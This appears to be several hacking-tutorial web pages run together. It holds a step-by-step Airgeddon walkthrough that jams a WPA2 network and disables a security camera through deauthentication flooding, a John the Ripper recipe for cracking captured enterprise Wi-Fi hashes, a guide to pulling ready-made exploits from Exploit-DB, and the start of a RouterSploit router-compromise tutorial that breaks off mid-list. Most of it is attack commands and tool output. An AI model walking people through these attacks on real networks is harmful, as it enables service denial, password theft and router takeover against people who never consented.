Kali Linux must be fully updated running Kali Rolling to ensure system needs and dependencies are current. Your wireless adapter capable of monitor mode must be plugged in and recognized by Kali, seen by typingiwconfigorifconfigin a terminal window. Again, you must be using the Kali Linux GUI, not the command line via SSH.To install Airgeddon on Kali Linux and similar systems, run the following command in the terminal to clone the git repository.~$ git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git Cloning into 'airgeddon'... remote: Enumerating objects: 111, done. remote: Counting objects: 100% (111/111), done. remote: Compressing objects: 100% (83/83), done. remote: Total 8015 (delta 58), reused 76 (delta 26), pack-reused 7904 Receiving objects: 100% (8015/8015), 31.93 MiB | 10.49 MiB/s, done. Resolving deltas: 100% (5030/5030), done.Once downloaded, navigate to the newly downloaded Airgeddon folder.~$ cd airgeddon ~/airgeddon$Then, start the script for the first time.~/airgeddon$ sudo bash airgeddon.sh *********************************** Welcome ************************************ Welcome to airgeddon script v10.31 .__ .___ .___ _____ |__|______ ____ ____ __| _/__| _/____ ____ \__ \ | \_ __ \/ ___\_/ __ \ / __ |/ __ |/ _ \ / \ / __ \| || | \/ /_/ > ___// /_/ / /_/ ( <_> ) | \ (____ /__||__| \___ / \___ >____ \____ |\____/|___| / \/ /_____/ \/ \/ \/ \/ Developed by v1s1t0r * . _.---._ . * .' '. . _.-~===========~-._ * . (___________________) * * \_______/ . *********************************** Welcome ************************************ This script is only for educational purposes. Be good boyz&girlz! Use it only on your own networks!! Accepted bash version (5.1.0(1)-rc2). Minimum required version: 4.2 Root permissions successfully detected Detecting resolution... Detected!: 1920x1080 Known compatible distros with this script: "Arch" "Backbox" "BlackArch" "CentOS" "Cyborg" "Debian" "Fedora" "Gentoo" "Kali" "Kali arm" "Manjaro" "Mint" "OpenMandriva" "Parrot" "Parrot arm" "Pentoo" "Raspbian" "Red Hat" "SuSE" "Ubuntu" "Wifislax" Detecting system... Kali Linux Let's check if you have installed what script needs Press [Enter] key to continue... ENTERAfter hittingEnterto continue, Airgeddon will check for any updates or missing dependencies, and it does this each time you run it.Essential tools: checking... iw .... Ok awk .... Ok airmon-ng .... Ok airodump-ng .... Ok aircrack-ng .... Ok xterm .... Ok ip .... Ok lspci .... Ok ps .... Ok Optional tools: checking... bettercap .... Ok ettercap .... Ok hostapd-wpe .... Ok iptables .... Ok dnsspoof .... Ok aireplay-ng .... Ok bully .... Ok pixiewps .... Ok dhcpd .... Ok asleap .... Ok packetforge-ng .... Ok hashcat .... Ok wpaclean .... Ok hostapd .... Ok etterlog .... Ok tshark .... Ok mdk4 .... Ok wash .... Ok sslstrip .... Error (Possible package name : sslstrip) hcxdumptool .... Ok reaver .... Ok hcxpcapngtool .... Ok john .... Ok crunch .... Ok beef .... Ok lighttpd .... Ok openssl .... Ok Update tools: checking... curl .... Ok Your distro has the essential tools but it hasn't some optional. The script can continue but you can't use some features. It is recommended to install missing tools Due to the auto install missing dependencies plugin, airgeddon could try to install the necessary missing packages. Do you want to proceed with the automatic installation? [Y/n] nSome optional dependencies being marked as missing is fine for this tutorial. The fully updated version of Kali Linux should have all of the essential tools. You can hitYif you want to try and install the missing items or just hitNto continue. Then hitEntera few more times so it can check for the latest script.> n Press [Enter] key to continue... ENTER The script will check for internet access looking for a newer version. Please be patient... The script is already in the latest version. It doesn't need to be updated Press [Enter] key to continue... ENTERStep 2: Select Your Attack InterfaceThe next screen will give you a list of attached wireless cards. Select the attack interface by typing the number to the left of it, and you will be taken to the main menu.***************************** Interface selection ****************************** Select an interface to work with: --------- 1. eth0 // Chipset: Intel Corporation 82540EM 2. wlan0 // Chipset: Atheros Communications, Inc. AR9271 802.11n --------- *Hint* Every time you see a text with the prefix [PoT] acronym for "Pending of Translation", means the translation has been automatically generated and is still pending of review --------- > 2Our interface is in managed mode, and we have not yet selected a target. Managed mode means the card cannot inject packets, which renders our attack impossible. We will need to put our card into "monitor mode" in the next step.Don't Miss:Capture WPA Passwords by Targeting Users with a Fluxion Attack***************************** airgeddon main menu ****************************** Interface wlan0 selected. Mode: Managed Select an option from menu: --------- 0. Exit script 1. Select another network interface 2. Put interface in monitor mode 3. Put interface in managed mode --------- 4. DoS attacks menu 5. Handshake/PMKID tools menu 6. Offline WPA/WPA2 decrypt menu 7. Evil Twin attacks menu 8. WPS attacks menu 9. WEP attacks menu 10. Enterprise attacks menu --------- 11. About & Credits 12. Options and language menu --------- *Hint* If your Linux is a virtual machine, it is possible that integrated wifi cards are detected as ethernet. Use an external usb wifi card --------- >Step 3: Set Your Wireless Card to Monitor ModeReady the attack interface by typing2to select the third option, and follow the prompt to put your card into monitor mode. This allows us to inject forged packets which will convince target devices on the network to disconnect. HitEnterto continue.> 2 Setting your interface in monitor mode... The interface changed its name while setting monitor mode. Autoselected Monitor mode now is set on wlan0mon Press [ENTER] key to continue... ENTERNext, select option4to bring up the DoS attack menu.***************************** airgeddon main menu ****************************** Interface wlan0mon selected. Mode: Monitor. Supported bands: 2.4Ghz, 5Ghz Select an option from menu: --------- 0. Exit script 1. Select another network interface 2. Put interface in monitor mode 3. Put interface in managed mode --------- 4. DoS attacks menu 5. Handshake/PMKID tools menu 6. Offline WPA/WPA2 decrypt menu 7. Evil Twin attacks menu 8. WPS attacks menu 9. WEP attacks menu 10. Enterprise attacks menu --------- 11. About & Credits 12. Options and language menu --------- *Hint* Thanks to the plugins system, customized content can be developed. Custom modifications of any menu or functionality in a quick and simple way. More information at Wiki: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Plugins%20System > 4Step 4: Identify the Target APWe can now identify and select our target. Enter option4and pressEnterto begin scanning for access points.******************************* DoS attacks menu ******************************* Interface wlan0mon selected. Mode: Monitor. Supported bands: 2.4Ghz, 5Ghz Select an option from menu: --------- 0. Return to main menu 1. Select another network interface 2. Put interface in monitor mode 3. Put interface in managed mode 4. Explore for targets (monitor mode needed) ------------- (monitor mode needed for attacks) -------------- 5. Deauth / disassoc amok mdk4 attack (mdk4) 6. Deauth aireplay attack 7. WIDS / WIPS / WDS Confusion attack (mdk4) -------- (old "obsolete/non very effective" attacks) --------- 8. Beacon flood attack (mdk4) 9. Auth DoS attack (mdk4) 10. Michael shutdown exploitation (TKIP) attack (mdk4) --------- *Hint* The natural order to proceed in this menu is usually: 1-Select wifi card 2-Put it in monitor mode 3-Select target network 4-Start attack --------- > 4It then checks to make sure you're in monitor mode and lets you know that you can stop the scan usingControl-Con your keyboard, which you might want to use since it can scan for a while. PressEnterto continue.**************************** Exploring for targets **************************** Exploring for targets option chosen (monitor mode needed) Selected interface wlan0mon is in monitor mode. Exploration can be performed No filters enabled on scan. When started, press [Ctrl+C] to stop... Press [Enter] key to continue... ENTERIn this exercise, we will be attempting to find and disconnect clients from a network called HAZELBEAR. PressControl-Cto stop the scan once it has run for a minute or two to gather some networks. While this happens, a target list will appear. It's important to let this scan run long enough to find networks with attached clients, which are marked in the list with an asterisk.******************************** Select target ******************************** N. BSSID CHANNEL PWR ENC ESSID -------------------------------------------------------------------------------- 1) █████████████████ ██ ████ ██████ █████████████████████ 2) █████████████████ ██ ████ ██████ ██████████████ 3) █████████████████ ██ ████ ██████ █████████████████████████████ 4) █████████████████ ██ ████ ██████ █████████████████████████████ 5) █████████████████ ██ ████ ██████ █████████████████████████████ 6) █████████████████ ██ ████ ██████ █████████████████████████████ 7) █████████████████ ██ ████ ██████ █████████████████████████████ 8) █████████████████ ██ ████ ██████ █████████████████████ 9) █████████████████ ██ ████ ██████ █████████████████████ 10) 00:21:2F:37:B5:C0 6 72% WPA2 HAZELBEAR 11) █████████████████ ██ ████ ██████ ████████████████ 12) █████████████████ ██ ████ ██████ █████████████████████ (*) Network with clients -------------------------------------------------------------------------------- Select target network: > 10When we have identified our target network and confirmed there are clients present, we will select the target network by typing its menu number. This will load the parameters and enable the attack options menu.Don't Miss:How to Exploit Routers on an Unrooted Android PhoneStep 5: Select Your Attack OptionSelect your attack option by typing the number next to it. In this case, we will proceed with attack5, a "de-authentication / disassociation amok mdk3" attack. This uses theMDK3took to send de-authentication and disassociation packets in "amoc mode." Other options are using theAireplaytool for spamming de-authentication packets to targets, and overwhelming the target with WIDS / WIPS / WDS confusion attacks to flood the target with traffic.PressEnterto load the attack method you selected.******************************* DoS attacks menu ******************************* Interface wlan0mon selected. Mode: Monitor. Supported bands: 2.4Ghz, 5Ghz Selected BSSID: 00:21:2F:37:B5:C0 Selected channel: 10 Selected ESSID: HAZELBEAR Type of encryption: WPA2 Select an option from menu: --------- 0. Return to main menu 1. Select another network interface 2. Put interface in monitor mode 3. Put interface in managed mode 4. Explore for targets (monitor mode needed) ------------- (monitor mode needed for attacks) -------------- 5. Deauth / disassoc amok mdk4 attack (mdk4) 6. Deauth aireplay attack 7. WIDS / WIPS / WDS Confusion attack (mdk4) -------- (old "obsolete/non very effective" attacks) --------- 8. Beacon flood attack (mdk4) 9. Auth DoS attack (mdk4) 10. Michael shutdown exploitation (TKIP) attack (mdk4) --------- *Hint* The natural order to proceed in this menu is usually: 1-Select wifi card 2-Put it in monitor mode 3-Select target network 4-Start attack --------- > 5At this point, our target parameters are loaded. The attack is configured, and we are ready to launch the attack. UseYto enable "DoS pursuit mode," and hitEnter.***************************** mdk4 amok parameters ***************************** Deauthentication / Disassociation mdk4 attack chosen (monitor mode needed) Selected interface wlan0mon is in monitor mode. Attack can be performed BSSID set to 00:21:2F:37:B5:C0 Channel set to 10 Do you want to enable "DoS pursuit mode"? This will launch again the attack if target AP change its channel countering "channel hopping" [Y/n] > yYou can now fire at will. So hitEnterone more time to start the attack.***************************** mdk4 amok action ***************************** All parameters set DoS attack with the "DoS pursuit mode" enabled will start when you press [Enter] on this window. To stop it you must press [Ctrl-C] or close attack window Press [Enter] key to start attack... ENTERWhen you pressEnter, a window will open showing the progress of the attack.***************************** mdk4 amok attack ***************************** Periodically re-reading blacklist/whitelist every 3 seconds Disconnecting FF:FF:FF:FF:FF:FF from 00:21:2F:37:B5:C0 on channel: 10 Packets sent: 49 - Speed: 40 packets/sec Disconnecting 68:A8:6D:4D:65:96 and: 00:21:2F:37:B5:C0 on channel: 10 Packets sent: 64 - Speed: 30 packets/sec Disconnecting 68:A8:6D:4D:65:96 and: 00:21:2F:37:B5:C0 on channel: 10 Packets sent: 76 - Speed: 42 packets/secYou will see this window open while the attack is active and running. At this point, all targets on the network should lose connection and be unable to reconnect automatically.Looks like I'm having some network trouble.If everything were done correctly, clients would not be able to connect to the network, and service is denied to the camera and the laptop viewing the video stream. The camera will be disabled, as well as any connected devices which depend on the wireless internet.Warnings: DoS Is a Crime & Airgeddon Leaves TracesLike any other DoS attack, this could be considered a crime depending on how you use it and if you have permission to audit the internet you are targeting. If not, be aware this attack will leave logs in the router that can be retrieved to determine the time and place of the attack, the MAC address involved, and other information that can easily be used to identify you through nearby security cameras or cell tower logs.Airgeddon targeting an entire network in a classroom setting.Image by Kody/Null ByteThis has been a high-level demonstration of jamming a target and applying electronic warfare techniques to hacking. Stay tuned for more! You can ask me questions here or@kodykinzieon Twitter.Don't Miss:How to Wardrive on an Android Phone to Map Vulnerable NetworksWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgAndroid Basics:How to Connect to a Wi-Fi NetworkHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12How To:Use MDK3 for Advanced Wi-Fi JammingHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Share Your Wi-Fi Password with a QR Code in Android 10How To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Fix Wi-Fi Performance Issues in iOS 8 & YosemiteHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3News:Apple Releases iOS 12.0.1 to Address Wi-Fi & Charging Issues on iPhonesHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHow To:Recover a Lost WiFi Password from Any DeviceHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Fix the Wi-Fi Roaming Bug on Your Samsung Galaxy S3How To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidNews:PSP2 (Next Generation Portable) or NGPHow To:You No Longer Have to Open Settings to Switch & Connect to Wi-Fi on Your iPhone (FINALLY!)
How to Hack WPA/WPA2-Enterprise Part 2 « Null Byte :: WonderHowTo
In the second part of this tutorial, we are going to crack the hashes that we've captured previously. I'm going to explain how to do it with the powerful John the Ripper. It comes with Kali by default, so no need to install!Using John the RipperIf you don't know nothing about this tool, you can check thisWikipedia article.First, we have to put the password hashes in a friendly format for John. To do so, we will use a simple script that puts our freeradius-credsXXXXX.txt file in John format, you can download ithere.Visit the previous link, copy the script text to your clipboard and open a terminal.Type:nano radiustojohn.pyPaste the text from your clipboard and hit Control + O to save the changes, then Control + X to exit. Change the permissions to the file by typing:chmod +x radiustojohn.pyAt this point execute the script with the freeradius-credsXXXXXXX.txt file as parameter:./radiustojohn.py <path to the freeradius-creds file>Now we've generated a freeradius.john file that John can understand. Type:john --format=netntlm freeradius.johnAt any time you can hit any key to see the status. As you can see, in about 3 seconds we've guessed 12 passwords. The weaker the password, the faster we crack it. Stronger passwords can take years to be cracked, of course you can use a custom wordlist:john --format=netntlm --wordlist=<path to your dictionary file> freeradius.johnIf you know something about the password, for example the length, you can modify the John's configuration file in order to try only passwords of that length. The configuration file is located in /etc/john/john.conf, let's make a backup of that file:cd /etc/john/cp john.conf john.conf.oldNow that we've made a backup of the original file, let's change it.leafpad john.confAt this point of the file, change the MinLen and the MaxLen for the length of the password. Imagine that you know the password's length is exactly 8, then you must put 8 in MinLen and 8 in MaxLen. Save the changes and run John:john --format=netntlm --incremental=All freeradius.johnJohn also supports OpenCL to work with your GPU, which can crack so much faster.That's all, I hope you've enjoyed! Ask any question!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Brute-Force WPA/WPA2 via GPUHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Hack WPA wireless networks for beginners on Windows and LinuxHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Hack WPA/WPA2-Enterprise Part 1How to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Hack a weak WPA wireless networkHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:How Hackers Steal Your Internet & How to Defend Against ItNews:Secure Your Wireless Network from Pillage and Plunder in 8 Easy StepsHow To:See Who's Stealing Your Wi-Fi (And Give Them the Boot)News:Backtrack 5 Security EssentialsNews:pfSense Enterprise Open Source Firwall & RouterNews:Advanced Cracking Techniques, Part 1: Custom Dictionaries
Forensics « Null Byte :: WonderHowTo
No content found.
Hack Like a Pro: How to Find Exploits Using the Exploit Database in Kali « Null Byte :: WonderHowTo
Welcome back, my budding hackers!When we are looking for ways to hack a system, we need a specific exploit to take advantage of a certain vulnerability in the operating system, service, or application. Although I have shown you multiple ways to exploit systems here inNull Byte, there are still many more exploits available that I have not yet shown you.Remember, exploitation is very specific, there is no one silver bullet that will allow you to exploit all systems. You need to find an exploit that will specifically take advantage of a vulnerability in the system that you are attacking. That is where theExploit Databasecan be so incredibly useful.EDB is a project ofOffensive Security, the same folks who developedBackTrackandKali Linux, which includes exploits categorized by platform, type, language, port, etc. to help you find the exploit that will work in your particular circumstance. Then, if you feel it will work on your target, you can simply copy and paste it into Kali for your attack.Step 1: Fire Up Kali & Open a BrowserLet's start by firing up Kali and opening a browser, such as Iceweasel, the default browser in Kali (EDB can be reached from any browser, in any operating system). If we use the default browser in Kali, we can see that there is a built-in shortcut to the "Exploit-DB" in the browser shortcut bar, as seen below.When we click on it, it takes us to the Exploit Database, as seen below.If you are not using Iceweasel and its built-in shortcut, you can navigate to Exploit-DB by typingwww.exploit-db.comin the URL bar.Step 2: Search the Exploit DatabaseIf we look at the top menu bar in the Exploit Database website, second from the right is a menu item called "Search". When we click on it, it enables us to search the database of exploits and returns a search function screen similar to the screenshot below.Let's use this search function to find some recent Windows exploits (we are always looking for new Windows exploits, aren't we?). In the search function window, we can enter any of the following information;DescriptionFree Text SearchAuthorPlatform (this is the operating system)TypeLanguagePortOSVDB (theOpen Source Vulnerability Database)CVE (Common Vulnerability and Exploits)The last two fields can be used if you are specifically looking for an exploit that takes advantage of a known, numbered vulnerability in either of those databases.In the Platform field, enter "Windows", in the Type field, enter "remote", and in the Free Text Search box, enter "Office". When we do so, the Exploit Database returns a list and a link to all of the exploits that meet those criteria. Of course, you can put in whatever criteria you are searching for. I am only using these as an example.Step 3: Open an ExploitFrom the search results page, we can click on any of the two pages of search results and it will take us to the particular exploit. I clicked on the very first exploit in the list "Internet Explorer TextRange Use-After Free (MS14_012)". When I do so, I am brought to a screen that displays the exploit code like that below. I have circled the description in the code of the exploit.This exploit works against Internet Explorer that was built between August 2013 and March 2014. If you want to use it, you can simply copy and paste this text file and put it into the exploit directory inMetasploit(if you are using an up-to-date version of Metasploit, it is already included). This is a good example of how specific an exploit can be.Step 4: Open Up SearchsploitKali, having also been developed by Offensive Security, has built into it a local database of exploits based on the same Exploit Database. We can access it by going to Applications -> Kali Linux -> Exploitation Tools -> Exploit Database and clicking onsearchsploitas shown below.It will open a screen like that below that details the basic syntax on how to use searchsploit. Note that it explains that you must use lowercase search terms and that it searches a CSV (comma separated values) file from left to right, so search term order matters.Step 5: Search the Exploit Database with SearchsploitNow that we have opened a terminal for searchsploit, we can now use this tool to search our local copy of the Exploit Database. As you might expect, our local copy of the exploit database is much faster to search, but does NOT have all the updates that the online database does. Despite this, unless we looking for the very latest exploits, the local database works fast and is effective.One other note on its use. As the information is organized in CSV files, searches locally often will yield results slightly differently than the online database. In the screenshot below, I searched for "Windows" and "Office" and only received a single result, unlike what I received when I used the online database.Exploit Database is an excellent repository for exploits and other hacks that we might need, including new Google hacks, white papers on security and hacking, denial of service (DOS) attacks, and shellcode that you can use out the box or tailor for your unique attack.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Offensive Security,ShutterstockRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)How To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHow To:Use MinGW to Compile Windows Exploits on Kali LinuxHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHow To:Hack Android Using Kali (Remotely)How To:Easily Find an Exploit in Exploit DB and Get It Compiled All from Your Terminal.Hack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7How to Hack Like a Pro:Getting Started with MetasploitHow To:Run an VNC Server on Win7Hack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)How To:Perform Local Privilege Escalation Using a Linux Kernel ExploitHow To:Create a Metasploit Exploit in Few MinutesHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHow To:The Art of 0-Day Vulnerabilities, Part3: Command Injection and CSRF VulnerabilitiesHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHack Logs and Linux Commands:What's Going On Here?How Null Byte Injections Work:A History of Our NamesakeNews:Intel Core 2 Duo Remote Exec Exploit in JavaScriptGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsIPsec Tools of the Trade:Don't Bring a Knife to a Gunfight
How to Seize Control of a Router with RouterSploit « Null Byte :: WonderHowTo
A router is the core of anyone's internet experience, but most people don't spend much time setting up this critical piece of hardware. Old firmware, default passwords, and other configuration issues continue to haunt many organizations. Exploiting the poor, neglected computer inside these routers has become so popular and easy that automated tools have been created to make the process a breeze.In this hacking tutorial, we'll learn how to useRouterSploit, a tool for automating the process of router exploitation. But before we dive right in, let's get a little background information on the tools available and why router exploitation is so big.The Basics Behind Router ExploitationRouter exploitation works by breaching the Wi-Fi security of a router, bypassing the administrative login page, and accessing administrative features. A skilled attacker can then target the existing firmware that runs the router in a practice called "rootkitting" in which custom firmware is dropped into the router to enable advanced malicious features.Depending on the goals and resources of an attacker, this can include spying on the user and any connected devices, injecting malware into the browser to exploit connected devices, enabling advancedspear-phishing attacks, and routing illegal traffic for criminal activities through exploited routers.Government Router Hacking with Cherry BlossomGovernment agencies like the NSA and CIA hoard exploits for routers, and the ShadowBrokers havethreatened to release these exploitson the heels of the Windows SMB leaksthat spawned WanaCry (or WannaCry). If they follow through with the threats to leak router exploits in June, tools likeCherry Blossomcould become mainstream.Don't Miss:How to Find Any Router's Web Interface Using ShodanThese tools from the NSA and CIA control entire networks of infected routers, transforming them into advanced, on-site wireless espionage devices. Why plant a fancy spying device when you can just turn a home router into one?Cherry Blossom is a rootkitting master framework, in which routers are automatically exploited and converted into "flytraps." A flytrap is a router that has been compromised and updated with special firmware that prevents the user from updating or modifying the new firmware.Cherry Blossom can control many "flytraps," providing instant access to advance spying devices located in the home or work of a target.Image viaCherry Blossom Quick Start Guide / WikiLeaks / CIAThe flytrap establishes a "beacon" back to a command-and-control server called "Cherryweb," and is then assigned "missions" by an operator via an encrypted VPN tunnel. Advanced modules, like "Windex," which performs a drive-by malware injection attack against any connected target, can turn a flytrap into an advanced remote espionage platform capable of being controlled from anywhere.Cherry Blossom displaying mission commands to be sent to flytrap devices, including shell code, recon scripts, and exploits. Some poor guy is going to get his Cherry Blossomed.Image viaCherry Blossom Quickstart Guide / WikiLeaks / CIACriminal IoT & Router HackingAside from the espionage application the CIA focuses on, exploitable routers and IoT devices are commonly targeted because of their routing ability. RouterSploit, the tool we're working with today, doesn't just compromise routers, it can also go after webcams and other connected devices.While the CIA uses VPN connections to hide traffic to and from command-and-control servers,cybercriminals will use these devices to proxy malicious trafficto avoid detection. In fact, networks of these infected routers and IoT devices are sold as black market proxies for hiding illegal activity like credit card theft, darknet transactions, and DDoS attacks. By failing to secure your router, you could be signing up to relay traffic for criminal hacking enterprises.Most people set up routers and forget about them, failing to change the default setting, update the firmware, or otherwise protect them.Image by nito500/123RFBeginner Router HackingWhile simply trying the default password is the first step towards router exploitation, more advanced frameworks exist even for beginners. Why would a beginner want to exploit a router? On a local level, if you fully compromise the router, you will have complete access to the network. This allows you to control and route the target's internet experience to wherever or whatever you want or forward ports for remote access.You should consider a router as an early and productive target to take on during the stages of an engagement. Even if you're a beginner, simply running the Autopwn scanner on RouterSploit will automatically test a range of vulnerabilities against a target IP address, reducing the process of finding a potential exploit to a matter of seconds.What Is RouterSploit?RouterSploit is a handy Python program which automates most of the tasks associated with compromising a router. Modeled afterMetasploit, its commands will be familiar to anyone used to the Metasploit framework. It contains scanning and exploit modules and is available for Kali Linux (and macOS or Mac OS X if you want).Don't Miss:Getting Started with Metasploit on Null ByteOnce you associate with a target network, running a scan will reveal whether a router can be easily exploited through the framework. Today, we will be going over the Autopwn feature to identify vulnerabilities on routers and connected devices quickly.The RouterSploit exploit framework landing page, with options for Autopwn present.Getting It Running — What You'll NeedRouterSploit is great because it runs on Kali Linux,our Kali Raspberry Pi, macOS or Mac OS X, Windows, and even on an unrooted Android phone. To start, we'll need to take care of some dependencies and ensure Python is installed. Aside from that, compromising a router has never been easier from any device you have handy.Step 1: Installing Python & DependenciesTo proceed, we'll need to ensure we have Python installed, and you'll also need some of the following packages.Python3 (with pip)RequestsParamikoBeautifulsoup4PysnmpGnureadline (macOS / Mac OS X only)You can install them all by usingapt-get:apt-get install python3-pip requests paramiko beautifulsoup4 pysnmpStep 2: Installing RouterSploit on Mac, Kali & OthersTo install on Kali Linux, open a terminal window and type the following commands:git clone https://github.com/threat9/routersploit cd routersploit python3 -m pip install -r requirements.txt python3 rsf.pyOn macOS or Mac OS X, the method is similar. In a terminal window, type:git clone https://github.com/threat9/routersploit cd routersploit sudo easy_install pip sudo pip install -r requirements.txtStep 3: Running RouterSploitFor our first run, connect your computer to a network with a router you'd like to scan. Navigate to the RouterSploit folder and run RouterSploit by typing the following commands.cd cd routersploit sudo python ./rsf.pyThe RouterSploit framework will open up, and you'll see that it bears a striking similarity to the Metasploit framework, both in interface style and workflow.A command-line interface lets you input simple commands to scan and exploit routers, and you can see everything RouterSploit has to offer by typing:show allAs you can see in the below output, there are lots of exploits, default creds, and scanners! How fun.creds/generic/snmp_bruteforce creds/generic/telnet_default creds/generic/ssh_default creds/generic/ftp_bruteforce creds/generic/http_basic_digest_bruteforce creds/generic/ftp_default creds/generic/http_basic_digest_default creds/generic/ssh_bruteforce creds/generic/telnet_bruteforce creds/routers/ipfire/ssh_default_creds creds/routers/ipfire/telnet_default_creds creds/routers/ipfire/ftp_default_creds creds/routers/bhu/ssh_default_creds creds/routers/bhu/telnet_default_creds creds/routers/bhu/ftp_default_creds creds/routers/linksys/ssh_default_creds creds/routers/linksys/telnet_default_creds creds/routers/linksys/ftp_default_creds creds/routers/technicolor/ssh_default_creds creds/routers/technicolor/telnet_default_creds creds/routers/technicolor/ftp_default_creds creds/routers/asus/ssh_default_creds creds/routers/asus/telnet_default_creds creds/routers/asus/ftp_default_creds creds/routers/billion/ssh_default_creds creds/routers/billion/telnet_default_creds creds/routers/billion/ftp_default_creds creds/routers/zte/ssh_default_creds creds/routers/zte/telnet_default_creds creds/routers/zte/ftp_default_creds creds/routers/ubiquiti/ssh_default_creds creds/routers/ubiquiti/telnet_default_creds creds/routers/ubiquiti/ftp_default_creds creds/routers/asmax/ssh_default_creds creds/routers/asmax/telnet_default_creds creds/routers/asmax/ftp_default_creds creds/routers/asmax/webinterface_http_auth_default_creds creds/routers/huawei/ssh_default_creds creds/routers/huawei/telnet_default_creds creds/routers/huawei/ftp_default_creds creds/routers/tplink/ssh_default_creds creds/routers/tplink/telnet_default_creds creds/routers/tplink/ftp_default_creds creds/routers/netgear/ssh_default_creds creds/routers/netgear/telnet_default_creds creds/routers/netgear/ftp_default_creds creds/routers/mikrotik/ssh_default_creds creds/routers/mikrotik/telnet_default_creds creds/routers/mikrotik/ftp_default_creds 